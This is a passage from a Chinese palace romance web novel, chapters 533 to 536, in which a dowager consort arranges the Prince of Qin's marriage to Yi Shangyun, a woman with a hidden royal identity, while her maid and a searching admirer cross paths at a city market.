“娘娘今儿个在太后面前如此低声下气,实在是太委屈了。甚至还将您最喜欢的先皇亲手所绘制的《千里江山图》送给了太后。这幅画,可是陪伴了娘娘大半辈子,是娘娘对先皇仅剩下唯一的念想了。” 纯太妃心里又岂会好过,可若自己不放低姿态,再拿出一些诚意来,太后又岂会轻易松口。 事已至此,纯太妃亦情绪低落地道:“人都自己不在了,还空留这份念想做什么?每每见字如面,都只不过是徒增伤悲而已。” “话虽这样说,可是娘娘也不必如此卑微求全,您看太后那副趾高气昂,目中无人的嘴脸,简直……” 就在张嬷嬷还想继续说些什么的时候,身后传来一阵呼唤声:“母妃请留步。” 霎时间,只见皇后从身后三步并作两步地追了上来。 闻声,纯太妃顿足停下,不解地问:“皇后为何这么快便出来了?怎么不在永安宫多陪太后一会儿?” 皇后首先朝其真诚地道贺:“儿臣给母妃道喜了。” 若是在这个偌大的皇宫里还有一点点真心的话,纯太妃知道,此刻皇后的祝福的确是发自内心的。 于是,她的脸上微微扬起一丝笑容来。 皇后亦朝其会心一笑,兀自与其继续往前缓缓一边走,一边说道:“秦王大婚在即,母后甚是重视。这个宫里,已经很久都没有喜事了。故母后特令儿臣下去立刻加紧置办,务必不能让秦王府失了皇家颜面。” “如此,那就有劳皇后费心操持了。”纯太妃亦客气地道。 皇后道:“这都是儿臣应尽的本份。” 纯太妃遂又开口问候道:“对了,本宫一直都还没有机会问你,玥儿在东宁皇宫里可还一切都好?” 提起轩辕玥,于多少个日日夜夜里,无不都在煎熬着她,皇后顿时脸色沉了下来:“玥儿不负众望,得了一子,名曰海儿,长得甚是讨人喜欢。深宫高墙之内,长夜漫漫,日子也总算是有了寄托。” 见其思女之心情切,纯太妃感同身受地安慰其说:“可怜天下父母心,都说做女子难,做皇家女子更是难上加难,最是身不由己。一入宫门深似海。这也是没有办法的事,皇后还要看得开些才是。” 皇后道:“谢母妃宽慰。” 俩人一起又走了会儿,再三思索后,皇后终于鼓起勇气来试探问纯太妃道:“敢问母妃可了解城西衣府的这位嫡女?” 纯太妃听了心里一顿,素声道:“城西衣药师府上嫡女,名唤……衣上云。以前是一废柴丑女,如今容貌已然恢复,听闻还得其父真传,如今亦颇通医术,想来以后定是能照顾好秦王的。” 此话明显是在赌自己的嘴,皇后听了会心地朝其笑了笑,遂心里默想着:“兜兜转转,没想到最后还真的是她。” 说着,便已到了宫门口,皇后遂送别道:“儿臣恭送母妃。” 纯太妃回头道:“皇后保重!” 看着纯太妃渐渐消失的背影,皇后心里五味杂陈…… 第五百三十三章:飞鸟与鱼 回到自己的寝宫里,不知为何,皇后心里觉得慌闷的很,总是感到一种说不出隐隐的不安。 她一手抚了抚自己的胸口,最后将其停留在胸口间落坐下。 不禁回忆起多年前,那个为了救自己的父亲,跌跌撞撞入了宫,却是一路走来善良正直又大胆的女子。 她怎能忘记?若不是她及时发现并悉心照顾,她的太子早已因为一场天花而命丧黄泉。 她又怎能忘记?若不是她,自己从小疼到大的公主一生的幸福,早已被那可恶的蛮夷之邦的野蛮人所毁。 若不是她,她怎能有今日如此顺遂的日子! 一念至此,皇后心里默默地道:“秦王英勇神武,又是个外冷内热会疼人的人,能得秦王青睐,是她的福气!他们俩个也总算是有情人终成眷属,玥儿若是得知这个消息的话,一定会很开心,本宫着实也应该替他们高兴。” 遂长长地舒了口气后,皇后回过神来问一旁正忙着沏茶的婢女:“近日可有收到公主的来信?” 婢女答曰:“还没有。” 闻此,皇后的脸上显然有些失落,可还是为轩辕玥能得到自己想要的幸福而感到欣慰。 遂默默地碎碎念道:“吾儿孤身一人在异国他乡的日子,过的可还顺遂如意?母后……甚是想念你……” 直到确认四周绝对安全,不会再有人忽然出现,张嬷嬷方才小心翼翼地问纯太妃,道:“皇后娘娘看似好像知道些衣姑娘的事情,不知会不会……” 纯太妃听了,想都没想,直道:“皇后她不会。” 看到张嬷嬷此刻担心犹豫极了的样子,纯太妃忽然停下脚步,伸出一手附在自己胳膊上的张嬷嬷的手背上,对其微微笑了笑,想要以此来缓解她的担心。 纯太妃缓缓道:“皇后心慈,又是一个极懂得感恩的人。公主与太子打小便喜欢腻着皇儿,皇儿在他们心中的位置,甚不一般。尤其是在玥儿的婚事上,若不是皇儿,玥儿早就被他的亲父皇赐婚,成了西秦与那蛮夷之邦北烈国交好的牺牲品。皇后爱子心切,受此大恩,又岂会轻易忘记。所以,即便她是真的知道了什么,顾及到这些恩情,她也不会乱说什么的。” 话虽如此,可张嬷嬷心里还是有些害怕:“可万一她已经知道了姑娘的真实身份?那又该怎么办?” 太后与其继续迈步一边走,一边朝其解释说道:“你说的没错,有玥儿在东宁皇宫里,皇后得到的消息的确是会多一些。” 闻此,张嬷嬷近来原本就显得苍老忧郁了许多的脸瞬间似是又增加了几分。 纯太妃却笑了笑,她自是早已经派人打听的很清楚了:“谁不知东宁国的新国君差点儿就是一位呼声极高的女国君呢!如果皇后真知道了衣家嫡女就是给她的好女婿让位之人,她就更不会声张什么了!” 至此,张嬷嬷忽然舒展开了眉头,总算是明白了过来,喜道:“老奴明白了。倘若皇后今日容不下衣府嫡女,那么东宁国国君的位置,她的好女婿也就没那么容易得了。” 主仆俩遂相视一笑。 天色渐晚,很快,主仆俩便已走出了宫门。 正欲进入马车,纯太妃忽驻足停下,询问张嬷嬷:“命人去通知城西衣府的事情,可都已经办妥了吗?” 张嬷嬷答道:“娘娘放心,都已经办妥了,衣府上上下下绝不会有人提及姑娘曾经离开过西秦到了东宁之事,姑娘亦是衣府嫡亲嫡亲的嫡长女。” 纯太妃听了,遂默想了一瞬,道:“嗯,那就好。” 话一说完,便兀自低头进到了车厢里,张嬷嬷替其细心地整理好车门帘,马车便朝着城东秦王府的方向疾驰归去。 夕阳西下,城东秦王府在蓝天白云的映衬下,彩云与角楼遥相呼应,一切美的仿佛像画一般。 衣上云所住的阁楼窗外,自带一座单独的后院,那是轩辕翰特意命人为其所精心布置的。 隐藏在一片翠绿的竹林下的白墙黛瓦里,楼台水榭,错落有致,到处种满了各种奇花异草。 这个时候,正都分外地鲜艳好看,其间花与树株株挺拔俊秀。 风动花落,千朵万朵纷纷扬扬飘落,铺满一地,似是如雪从天而降般。 眼下,院子里荷花塘中满塘的浮萍飘飘,一朵朵睡莲突出水面,绽放开花瓣,粉橘色的颜色甚是诱人。 从塘中央的石桥上经过,能清晰的看到睡莲的模样,和浮萍一起在一阵阵涟漪中轻轻摇晃着。 此刻,衣上云正独自一人坐在凉亭里,看着眼前纷纷飘落枝头的花瓣,触景生情,愁眉不展地轻声浅吟着: 试看春残花渐落,便是红颜老死时! 一朝春尽红颜老,花落人亡两不知。 就在这时,忽然传入耳畔一不怒自威的声音道:“为何吟如此伤感的诗词?” 闻声,衣上云忽地回过神来循声望去,一回头,见原是轩辕翰一袭玄色锦袍,墨发全束,正单手附后着踏上石阶朝自己身边走来。 于是,她紧忙立起身来欲朝其弯腰行礼:“秦王殿下!” 就在其说话间,轩辕翰疾步上前,紧忙伸出两只手俯身下去将其扶住,方才使她没能实实地弯下腰去。 他紧紧盯看着她的眼睛,颇为认真地叮嘱她道:“本王不许你以后再向本王行礼。” 霎那间,俩人如此近距离地对视,衣上云抬起眼端详着眼前此刻如此温柔极了的脸孔,不禁愣住了。 心里默默道:“殿下,云儿终于再见到殿下了。” 却只片刻,衣上云又倏地挣脱了他的手的束缚,冷声拒绝说:“秦王殿下身份尊贵,能容我在王府里住着,已是对我莫大的恩赐。如此小小的礼数,又算得了什么?” 见刚刚其眼中明明对自己含情脉脉,一转眼又换作了冰冷无情,轩辕翰不明所以,只觉失望,寒心极了。 他难过地说:“你是非要曲解本王的意思吗?究竟本王要怎么做,你才能重新接受本王。本王并不奢求什么,只求你能像从前一样待本王,你为何就不能好好和本王说说话呢?” ”从前……”衣上云碎碎念着,缓缓转过身去。 将目光划过天际中自由翱翔的飞鸟,尔后下移又望着荷花塘里的层层涟漪下,游来游去的红鲤鱼。 她的脸上仿佛看不出任何表情,语气平静地道:“殿下看那天空中的飞鸟,它本就高高在上,广阔的蓝天才是它的世界,它只不过是偶尔掠过了水面,稍作停歇而已。” 轩辕翰跟随着她的目光缓缓抬起头仰望。 衣上云又将目光转向院子里在夕阳余晖的照射下泛着波光涟漪的水面,说:“而池水里的红鲤鱼,这一池碧水……则是它的全部。” 轩辕翰看着水里的红鲤鱼,听着似懂非懂。 衣上云伤感地说:“飞鸟与鱼,它们彼此生来便就已经注定永远都没有办法离开自己的世界,如果非要将彼此硬绑在一起,其中一个必定会无法生存下去,不是吗?” 轩辕翰想了想,似乎终于明白了她心里的担忧。 曾几何时,他亦打算要放弃。 身为西秦守护者,他知道他应该将其存在告知皇帝,任其安排,可他却存了一份私心。 身为有绝对能够撼动国家力量的敌国公主,他更应该将其交给皇帝,如此,西秦或许不用费吹灰之力就能拿下富甲一方的东宁国,可他又存了一份私心。 时至今日,所发生的一切,他的心却变得更加坚定,即使要他放弃所有,他唯一不能放弃的是她,她,早已融入了他的骨血之中。 他当初既然决定了要她,这些所谓的阻碍,他自是早已有了应对之策。 又怎会再听她这些歪道理,于是开口说:“本王知道你在怕什么?” 说完顿了顿,继续道:“当下,你怕你是敌国公主的身份被暴露,会对本王不利。日后,你怕有朝一日,若是东宁真的败给了西秦,你便成了背叛母国的罪人。对不对?” 半晌过后,始终都没有听到自己想要的答案,情急之下,失去耐心的他上前两步忽大力地一把扯住了衣上云被烫伤的那只手。 衣上云本能地发出一阵闷哼声:“嘶……” 轩辕翰这才发现被自己捉在手心里的这只手上裹满了绷带。 他举起她的手来,瞪大了眼睛质问她:“你的手是怎么回事?发生了什么事?” 衣上云紧张地向其解释说道:“我没事,殿下不必担心,只是在泡茶的时候不小心烫着了而已,已经上过药了。” 轩辕翰愤怒地道:“偌大的秦王府,难道连个泡茶的人都没有了吗?泡茶又怎会烫得如此严重?” 轩辕翰气愤极了,也心疼极了, 说着,索性便一把将其横抱了起来,衣上云大惊失色地叫道:“殿下这是做什么?还不快放我下来,真的已经没事了。” 第五百三十四章:都怪本王没有护好你 从后院里不容分说,一路被抱到了轩辕翰的寝殿,任衣上云无论如何挣扎、祈求、拒绝,轩辕翰丝毫不被其动容。 “殿下为何带我到林月轩来?这里可是殿下的寝殿。” 衣上云话音刚落,便闻一阵声音传入耳畔:“属下参见殿下!” 林月轩正守门的两名侍卫,一见主子抱着一个女人进门来,不禁目瞪口呆地相对视了一眼,来不及思考,紧忙抱拳朝其行礼。 衣上云则一脸娇羞,两耳通红,紧紧环抱着轩辕翰的脖颈,倏地将头深深地埋在他的胸膛,丝毫不敢抬起。 轩辕翰前脚刚一踏进院内,便下令吩咐道:“快去杏林阁把乐太医请来。” 一听到请的是乐太医,两名侍卫第一反应便是以为主子哪里有什么不适,亦或伤痛,其中一名侍卫语无伦次地道:“乐太医……难道是殿下……是!” 待刚反应过来,拔腿便朝杏林阁方向急奔了出去。 乐太医一得到消息,拎起药箱便一路小跑着来到了林月轩,方才得知受伤的并非轩辕翰,而是衣上云被烫伤了手。 看到其对衣上云的伤势进行了仔细地一番查看后,立在一旁的轩辕翰着急地问:“如何?” 乐太医道:“殿下放心,姑娘的伤并不重,不碍事的。” “可都瞧仔细了?”轩辕翰谨慎地朝其再次确认道。 衣上云的伤并不重,可乐太医却见其分外上心,心里不禁惊了一下。 遂从药箱里拿出一支梅子青色的小瓷瓶来,对他说道:“这是微臣特制的烫伤药膏,每日只要坚持按时上药,不出三日,依照姑娘目前的伤势来看,定会完全恢复如此,且不会留下任何疤痕。” 闻此,轩辕翰的心总算是沉了下来。 如今,衣上云是有着身孕的人,自是哪怕是有任何一点点的风吹草动,轩辕翰亦是担心地很。 乐太医正准备替其上药,轩辕翰忽然冷声着道:“把药放在这儿,下去吧。” “是。” 乐太医遂放下了手里的药瓶,整理好药箱后,便双手捧着缓缓退了出去。 接下来,一室寂静。 衣上云极不自在地坐在案几边,心里像揣了只极不安分的小兔子一般忐忑不安,更是丝毫不敢抬起头来看轩辕翰此刻的脸。 立在一旁不知端详了她多久,轩辕翰方才踱起步来过去到衣上云的身旁,撩起袍角落坐下。 他从案几上拿起药瓶来轻轻地拔开瓶盖,又将打开的药瓶放回到桌上。 紧接着,伸手过去将衣上云正努力用衣袖遮遮掩掩的手小心翼翼地拽了过来。 开始,衣上云还有些拒绝,轩辕翰顿了一下,遂看向她低垂的眼眸,衣上云意识到他的坚持后,终是放松了下来。 轩辕翰这才一边亲手替其上药,一边语重心长地道:“即便你什么都不愿意说,你所担心的,本王亦都知道。你的身世……的确任谁都会很为难。” 轩辕翰的动作温柔极了,可依然怕他会弄痛她,为了分散些许她的注意力,不会在上药时觉得那样痛。 他一边陪其说话,一边进行着手里的动作:“可本王想告诉你的,只有一句话……有本王在,放心!” 听到这几个字,衣上云的心里,瞬间不知有多么感动,眼角的泪花不禁瞬间闪现了出来。 回想起来,似是每每也只有在他身旁的时候,自己才会觉得最踏实,什么都不用自己考虑。 想着想着,就连目光亦变得温柔了下来,默默地看向轩辕翰的侧脸。 就在这时,很快便已帮其上好了药的轩辕翰忽地抬头,一对上她此刻如水般温柔的目光,泪眼蒙眬的模样,亦是整个人都瞬间温柔了下来。 恰时,一阵暖风袭来,殿内的灯火随风跳跃摇曳了起来。 轩辕翰尝试着伸手将她柔柔软软的身子揽入到自己的怀里,紧紧拥着,下巴抵在她的额头,自责地道:“都怪本王没有护好你,让你受苦了。” 她,这次竟然也没有拒绝他。 轩辕翰遂又情不自禁地,缓缓靠近到她的眉眼之间,心疼地吻干了她眼角的泪水。 两人四目相对片刻,兀自又游离到她红润的软唇上,衣上云缓缓地闭起了眼睛,轩辕翰一吻封唇。 纯太妃前脚刚回府踏进紫和轩里,便见轩辕翰已在屋内等候着。 “皇儿?” “你怎么在这里?” “是在等我?” 纯太妃一边被张嬷嬷帮忙将身上的披风斗篷脱下,一边连连惊讶地问。 怎料轩辕翰气愤之下,竟直接冷声质问其起来:“儿臣想知道云儿怎么会在紫和轩里烫伤了手?可是有人故意刁难她?莫非偌大的秦王府里无人能用,需要她来为母妃奉茶不可?” 闻此,张嬷嬷着急地开口解释道:“殿下息怒,您错怪太妃娘娘了,姑娘她是自己……” 怎料话刚开口,纯太妃便将其打断:“张嬷嬷,你去门口看看本宫命人请的客人来了没有?” 张嬷嬷似是还想继续辩解,见主子摇了摇头,不得已终是将已到了嘴边的话硬生生咽了回去:“是,娘娘,老奴告退。” 说完,张嬷嬷便缓缓退了出去,替其将门轻轻掩上。 纯太妃笑了笑,朝着一旁的茶几边落座下,又示意尚在气头上朝自己来兴师问罪的轩辕翰道:“过来坐。” 轩辕翰走了过去,在其身旁落坐下,等着纯太妃给他一个解释。 纯太妃亲自煮水泡了一壶茶,盛出两盏橙黄浓厚的茶汤,递了一盏到轩辕翰的面前:“这盏洱茶是你父皇生前最喜欢的,皇儿也尝尝。” 轩辕翰伸手接过,遂轻抿了一口,将空茶盏放在了自己面前的案几上,却仍一脸严肃不减半分,亦未说任何话。 纯太妃亦举起剩下的一盏茶入口,尔后问道:“不知皇儿这些年寻找守护者后人的进展如何?” 闻此,轩辕翰眼睛忽地一怔,愣了一下,道:“母妃为何忽然问起这个?” 纯太妃再次为俩人添了新茶,徐徐道:“眼下灵空各国局势已然紧张不堪,随时都有大战降临的危险。如果能得以守护者守护西秦,其余俩国必定闻风丧胆,西秦一定会平安度过此劫,百姓们也免受了一场生灵涂炭。” 轩辕翰想了想,再次灌下一盏茶,道:“儿臣无能,尚还未能寻到守护者后人的踪迹。或许,守护者后人于当年真的已经坠崖身亡了。否则,这么多年,不可能一点儿痕迹都寻不到?” “哦?皇儿真的是这么认为的么?” 看到纯太妃朝自己所投来的目光,明显对他的回答满腹质疑,轩辕翰却依旧坚持着道:“是!” 纯太妃笑了笑,道:“可据母妃所知,皇儿不仅早就已经找到了守护者后人,而且还打算将守护者后人永远留在自己身边。” 至此,轩辕翰忽地明白了纯太妃定是已经发现了什么,遂疑惑地看向纯太妃的脸,道“母妃,你……” 纯太妃亦紧盯着轩辕翰的眼睛:“怎么?莫非是被母妃说中了不成?” 纯太妃深吸了口气,收回视线缓缓道:“若不是那丫头今儿个自己不小心打翻了茶盏,在紫和轩里更衣时被人发现了她身上的守护者凤凰印记,母妃还真的不敢相信,她就是我们寻寻觅觅的守护者后人。” “儿臣……我……”听了纯太妃的话,轩辕翰瞬间变得支支吾吾,欲言又止了起来。 纯太妃继续追问:“皇儿早已经知道了衣府嫡女,也就是东宁国永安公主,便是我西秦守护者后人,对不对?” 事已至此,轩辕翰知道自己已经再也无法对其隐瞒衣上云的身份,于是沉声道:“是。” 至此,纯太妃终于确定了衣上云的身份,也明白了之前的许多事情。 于是,稍作思量后,又试探问道:“皇儿可知,西秦守护者后人须与西秦天子同心合力,方才能保我西秦国国泰民安,千秋万代。” 轩辕翰冷声道:“儿臣知道,可是儿臣做不到,儿臣无法眼睁睁将云儿送到皇兄身边去。况且,她如今都已经……” 纯太妃想了想,最后在心里下定了决心,道:“既然如此,便只有一个办法了。” 轩辕翰疑惑地问:“儿臣不明白,母妃的意思是……” 顿了顿,纯太妃素声道:“从今往后,衣府嫡女就只是衣府嫡女,不是什么东宁公主,亦不是传闻中的西秦守护者后人。” 轩辕翰正在思量纯太妃的话,门外忽然传出张嬷嬷的声音:“太妃娘娘,娘娘请的客人已经到了。” 闻声,轩辕翰不解地问:“这么晚了,母妃还请了贵客来府里?” 纯太妃看着轩辕翰的脸,扬起微微笑容来,对其神秘地说道:“这个客人,说起来皇儿亦是识得的。” 轩辕翰疑惑:“儿臣亦识得……” “这个客人,皇儿看一看,不就知道了吗?” 纯太妃说着,便扬声下令道:“请她进来吧!” 刹时间,门帘被人从外面掀起,缓缓走进一名身姿娇小的女子来…… 第五百三十五章:静待花开 借着屋内的烛火之光,缓缓现出一绿衣女子。 女子进来后,径直上前到纯太妃的面前朝其恭敬地俯首跪拜道:“奴婢燕儿参见太妃娘娘千岁,千岁,千千岁,参见秦王殿下千岁,千岁,千千岁。” “燕儿……” 闻声,轩辕翰默默重复了一句,继而急急在脑海里搜索着这个听起来显得分外熟悉的名字。 直到得到纯太妃的示意,燕儿方才渐渐抬起头来。 至此,轩辕翰忽地记起了她,遂惊诧不已地道:“你是城西衣府的婢女,云儿的贴身丫鬟……” “回殿下,正是奴婢。”燕儿起身来,答应道。 轩辕翰着实没有想到,纯太妃今夜所请来的客人竟会是衣上云的丫鬟,便问纯太妃:“母妃如何会识得云儿的丫鬟?” 这时,立在纯太妃身旁的张嬷嬷解释道:“殿下有所不知,这些日子以来,娘娘见府里女婢甚少,怕伺候姑娘有诸多不便。本想让老奴去买几个新的丫头回来,又怕新人姑娘用不习惯。老奴便想起了衣府的这个小丫头,后经娘娘同意,老奴便命人去城西衣府把燕儿接到了王府来,专门伺候姑娘的日常起居。” 轩辕翰听了,遂颇为感激地看向纯太妃的脸,纯太妃的脸上依旧挂着一副淡淡的笑容。 待回过了神后,又问燕儿:“那城西衣府那边……” 想起衣府这段混乱的日子,燕儿至今都感觉自己仿佛是在梦里,一切都是那样的不真实。 她回忆着说道:“殿下有所不知,自打上次殿下带人夜里亲临府中寻小姐不遇后,府中上下便全都乱了套。夫人几次三番寻死觅活,老爷悔不当初,整日里坐卧不安,自责不已,更是与兰姨娘俩人日日争吵不休。府里派人到处找寻小姐的下落,却是久久没有一丁半点的音信,仿佛小姐从此人间蒸发了一般。” 燕儿说着,将目光移向纯太妃的脸,感激不尽地道:“直到今日傍晚,太妃娘娘派人到府里传来了小姐的消息,府里方才都安静了下来,老爷夫人便立刻叫燕儿过来伺候小姐。” 话音未落,燕儿便再一次扑通一声重重地跪了下去,俯首连连重重地朝其叩头拜谢:“谢太妃娘娘,谢秦王殿下收留了我家小姐,秦王府的大恩大德,燕儿做牛做马也要报答。” “起来吧,那是你家小姐命不该绝,这一切都是老天的安排。所幸,总算你家小姐身边还有你这个忠仆。”纯太妃赞叹道。 而另一边的轩辕翰则是一想起风雨交加的那一夜所发生的一切来,却是即便至今都恨的牙直痒痒:“哼……算那衣上坤运气好,如果云儿那夜里真的有个什么闪失的话,本王定不会轻易饶了他。” 这句话,明显吓到了一旁的燕儿,燕儿遂急急怯声开口道:“燕儿来之前,老爷夫人千叮咛万嘱咐,这几日,让奴婢一定要好好伺候小姐,等小姐一把伤养好了,便接小姐回府去的。” 闻声,轩辕翰即刻扬声震怒道:“什么?接她回去?她哪儿都不能去?本王不准,我看谁敢动她?” 这一声,燕儿更是被吓得不轻,差点儿重重地瘫坐在地上。 此时,张嬷嬷笑了笑,开口说道:“殿下有所不知,姑娘大婚在即,自是定要先回衣府去好好准备的。” “大婚?” “与何人大婚?” “本王怎么不知?” “本王不允,除了本王,她谁都不能嫁?” 轩辕翰几近咆哮了起来激动地道。 见此,张嬷嬷却掏出帕子来掩起嘴心中窃喜不已。 紧接着,方才朝其道贺起来:“恭喜殿下,贺喜殿下,太后今儿个已经亲允了殿下和姑娘的婚事。这两日,赐婚圣旨便就会被传去城西衣府里。” “什么?你说是本王和……” 轩辕翰顿满脸疑惑地看向身后张嬷嬷,遂又难以置信地移至纯太妃的脸上。 纯太妃轻轻点了点头,道:“张嬷嬷所说的确不虚。大婚在即,那丫头总归要回到衣府里才是。况且,我秦王府娶正妃,任凭繁文缛节哪一道流程都是不能将就的,不是么?” “对,对,母妃说的极是。” 这一刻,轩辕翰心中欢喜极了,似是等了已太久太久。 今夜所发生的一切,仿佛对于他来说,才是真正的如在梦中一般。 “皇儿,静待花开!” 纯太妃认真地看着轩辕翰的脸,沉声说道。 轩辕翰对其点了点头。 这时,张嬷嬷笑着将燕儿带了下去。 轩辕翰这才心觉自责不已,遂兀自走过去亲手倒了一盏茶朝纯太妃双手奉上,歉声道:“母妃,对不起,是儿臣错怪母妃了。” “什么江山社稷?有什么能比自己儿子一辈子的幸福更重要。” 纯太妃知道自己此举终归是自私了,心里想着,一边接过茶盏,一边对轩辕翰说:“只要皇儿幸福,母妃做什么都可以。” 终于,母子之间的隔阂被解开。 俩人坐在一起聊了很久,每每轩辕翰问及纯太妃是如何让太后同意赐婚的细节,纯太妃总是避重就轻地糊弄了过去。 见窗外时候已晚,轩辕翰告辞正欲转身离去,忽地瞥见一直以来悬挂在殿内的《千里江山图》不知何时被换成了一幅《松鹤图》。 遂驻足停下疑惑地问:“母妃何时怎么将《千里江山图》换掉了?” 纯太妃忽地回过神来,借口说道:“母妃年迈,愈来愈经不起睹物思人之苦了,便叫人换了一幅《松鹤图》。” 轩辕翰心中虽对其回答仍觉得疑惑,但见纯太妃脸上此刻似是并无任何波澜,也没有再继续追问些什么,只道:“母妃辛苦了,早些歇着。” 纯太妃点了点头,轩辕翰终于再次迈起步来走了出去。 纯太妃默默地看了看那幅图,最后望着轩辕翰离去的方向,再也没有说话。 云水阁里。 衣上云独自正坐在一扇小窗前,于一盏昏黄的烛火下单手支撑着下巴发呆。 想着自己是如何一次又一次地毫无抵抗力,陷入到轩辕翰的柔情之中。 忽闻门外传来一阵轻轻的叩门声:“咚咚咚” 闻声,心下里想着:“这么晚了,会是谁呢?” 想起方才俩人在林月轩里的一番唇齿纠缠,激情澎湃,轩辕翰因为顾及到她手上的伤,最后眼中充满了那明显对自己意犹未尽的渴望与深情。 她忽地双眼一怔,惊道:“难道是殿下他……又回来了?” 遂瞬间面红耳赤着扬声拒绝道:“我已经歇下了。” 这时,传入耳畔一阵熟悉极了的声音道:“小姐,是我……” “这声音,难道是……” 恍然大悟间,衣上云急忙起身来过去将门打开一看:“燕儿,怎么是你!” “小姐!” 刹那间,主仆俩人紧紧地拥抱在了一起。 尔后赶来的轩辕翰,则远远地立在门外一暗处,看到俩人那般情深意重,心里顿觉倍感欣慰,终于安心地踱步离去。 翌日,天刚亮。 轩辕翰晨起刚练完剑,远远地便见燕儿拎着一个小篮子正要出府去,便上前询问道:“你家小姐昨夜睡的可好?” “小姐她很好,多谢殿下关怀!”燕儿朝其躬身行礼,感激地回答道。 “你这是……”轩辕翰遂将目光注视到她手上的竹篮,问。 燕儿道:“哦,小姐说她想吃糖炒栗子,奴婢便要出去集市上给小姐挑些回来。” 轩辕翰脸色沉了些许下来,似是有些不悦,道:“这些事,让王府的侍卫出去办就行了,你只要负责寸步不离地照顾好你家小姐便是。” 燕儿笑了笑,见轩辕翰如此在意衣上云,便解释说道:“殿下有所不知,打小至今,只有燕儿最知道小姐的喜好。” 只要说起衣上云的喜好来,她就一脸骄傲如数家珍:“小姐喜欢吃栗之斋的糖炒栗子,别家的糖炒栗子加的是糖,他家的加的可是纯正的野生土蜂蜜。炒出的糖炒栗子,颜色深棕,油光锃亮,皮脆易剥,香甜可口。买的时候呢,要挑那些刚出锅的,且既不能太大亦不能太小,个头适中的。大了就不怎么入味,小了又吃不到果肉。” 燕儿说得似是连自己都快要流口水了,遂摆了摆手,道:“总之,这些侍卫们可都不懂。所以,还是燕儿自己去挑的比较好。” 轩辕翰仔细想想也是,毕竟燕儿是打小便陪伴着衣上云一起长大的,便道:“如此,那你便去吧,早去早回。” “是”燕儿再次朝其行礼后,便快步离开。 怎料刚一抬起步来没走两步,便再次被其阻止:“等等……” 燕儿无奈,只能又一次转回过头去,问:“不知秦王殿下还有何吩咐?” 轩辕翰想了想,叮嘱其说道:“糖炒栗子虽味美,可熟食过多会阻滞肠胃。回来且不可让你家小姐贪嘴,每日只准食……6~7粒。” “这算什么?还没尝到味儿呢?”燕儿心里嘀咕着,却又不能嘴上应道:“是,燕儿知道了。” 至此,轩辕翰终于单手附后着离开,燕儿亦欢蹦乱跳着出了门。 第五百三十六章:热闹沸腾的城东早市 出门往西拐了三道弯,又走过一座小桥,便到了一条人山人海,热闹沸腾的城东早市。 打从五鼓钟鸣起,什么古玩字画、衣帽扇帐、盆景花卉,鱼鲜猪羊、糕点蜜饯、瓜果时蔬、这里应有尽有。 整条街在西秦皇城里并不算大,却是深藏不露着众多酒香不怕巷子深的老字号商铺。 “栗之斋”便是其一。 远远地,燕儿便听到了栗之斋门口店小二熟悉的吆喝叫卖声:“各位南来北往的客官,走过路过不要错过,快来看看吆!栗之斋刚出炉的糖炒栗子皮脆易剥、香甜可口、价格公道、童叟无欺。” 燕儿顿足停下,闭起眼睛来深深地吸了吸鼻子,仿佛就连这里的空气里亦都是她心心念念了很久的甜甜糯糯的味道。 于是再也忍不住,她忽地睁开眼睛来,脚步欢快地朝栗之斋的店门口急奔了过去。 而就在街头拐角的一家酒楼里,易三少一大早便在此喝的烂醉如泥。 唯有听其口中时不时地呼唤着:“丫头,你到底在哪儿?到底在哪儿?” 一旁的俩名婢女对视了一眼,白芷轻轻晃了晃脑袋,显然拿他一点儿办法都没有。 紫苏心疼极了,实在无法继续看下去。 遂过了会儿,只见她紧紧皱着眉头,伸手一把附上桌上的酒壶,劝说其道:“三少,不要再喝了!” 易三少顿停下手里的酒杯,望着被其所控制的酒壶怔了一下,又瞥了其一眼,谁料紧接着竟又将手里的一杯酒猛地灌下了肚。 紫苏想着这些日子里,除了寻找衣上云的下落,便还是寻找衣上云的下落。 可结果却是只从衣府的一名小厮那里探知到,衣上云果然正是于那大雨之夜只身离开了衣府后便一去无回。 如今三人又在秦王府蹲点了数日,却是连只麻雀都未见飞出来过。 易三少为此更加担心极了,也自责不已,为何他没能照顾好她? 以至于置南安国君几次三番地下令其,尽快返回南安国有要事相商的命令于不顾,一心只想要寻找衣上云的下落。 可眼看着日子一天天过去,却是再也毫无任何进展,仿佛衣上云于那大雨之夜人间蒸发了一般。 紫苏难过地道:“三少整日借酒浇愁也是于事无补啊。那夜那么大的雨,她一个有着身孕的女人又能走多远?如今,我们早已把整个西秦皇城翻了个底朝天,亦没有找到关于她的任何消息,怕是……怕是凶多吉少了也……” 话音未落,便被易三少当即斥责制止道:“住嘴,我不许你有这个想法,丫头她福大命大,她才不会有事呢!” 听到一声呵斥,白芷不由得惊地顿打了个颤,可又不得不坐在一旁默默地低声提醒其道:“可是……三少,今儿个一早,国君已是连着第六次命人送来密函,请三少尽快回国了。如果三少再不回去,国君怕是就真的要龙颜大怒了!” 人尽皆知,眼下各国时局紧张,此次南安国君如此着急地召易三少回国,定是为了南安举兵之事。 这时,紫苏想了一个办法,道:“不如,让白芷陪三少先行暂回南安,我一人留在西秦继续找寻姑娘的下落。一旦有了消息,奴婢会即刻同三少报告,不知三少意下如何?” 白芷一听即将要与紫苏分开,紫苏要独自留在西秦国,当真是不舍,担心极了地道:“紫苏……” 紫苏一边摇了摇头,一边微微笑了笑,暗示其不要为自己担心。 易三少听了,再次伸手过去欲从紫苏的手里夺过酒壶。 紫苏仍然坚持不给,易三少亦不打算放手,紫苏拧不过他,终是缓缓松开了手。 易三少一边继续自己斟酒,灌酒,暗自心里想了很多很多。 虽说在他的心中,衣上云的安危比什么都重要。 可无论如何,他始终都是南安国君唯一的儿子,就算不为其考虑,亦要想想其母后的艰难处境。 从小到大,除了疼爱,母后从未要求过他什么?他亦从来都没有回报过其任何,对于自己身上与生俱来的责任,他又何尝不是一直在逃避。 可无论过去如何,现在却是完全不一样的。 事关国家的生死存亡,时局已然至此,使命使然,自己终是无法自欺欺人,将自己完全置于事外。 …… 于是,他咬了咬牙,终是点了头答应,最后叮嘱紫苏道:“务必一定要不惜任何代价找到丫头,护她周全!” “是!”紫苏亦认真地领命道。 总算是商量好了对策,易三少便与白芷起身来先行下楼离开。 紫苏起身相送。 白芷依依不舍地三步两回头看看紫苏,紫苏朝其微微笑着挥手。 一直目送着主仆俩身影终于渐渐消失在了人潮汹涌的街角。 这时,紫苏收起心情忽地移动目光,正好看到对面楼下刚走出栗之斋店门收获满满的燕儿,遂稍作回想,再次仔细定睛一看,嘴里惊诧地道:“是那个丫头!” 